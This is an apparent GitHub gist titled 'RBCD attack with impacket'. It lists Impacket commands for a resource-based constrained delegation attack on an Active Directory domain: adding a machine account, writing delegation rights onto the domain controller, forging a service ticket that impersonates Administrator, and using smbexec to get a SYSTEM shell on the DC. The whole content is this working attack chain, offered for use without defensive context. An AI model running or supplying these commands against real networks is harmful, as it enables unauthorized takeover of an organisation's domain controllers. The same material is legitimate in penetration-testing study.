Created
December 2, 2022 23:31
-
-
Save eversinc33/7d59219ad4eaf79d2a616f39295c5de6 to your computer and use it in GitHub Desktop.
RBCD attack with impacket
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# add computer account | |
impacket-addcomputer domain/user:Password -dc-ip dc.domain.local | |
# add RBCD to added computer | |
impacket-rbcd domain/user:Password -delegate-to 'DC$' -dc-ip dc.domain.local -action write -delegate-from 'DESKTOP-XC3RS3G7$' | |
# get ticket for dc cifs for Administrator | |
impacket-getST -spn 'cifs/dc.domain.local' -impersonate Administrator -dc-ip dc.domain.local 'DOMAIN/DESKTOP-XC3RS3G7$:w06DJlMdlKNUVSpqN0olSEctZHZEQgZU' | |
# use ticket to get shell as SYSTEM | |
export KRB5CCNAME=$(pwd)Administrator.ccache | |
impacket-smbexec [email protected] -k -no-pass |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment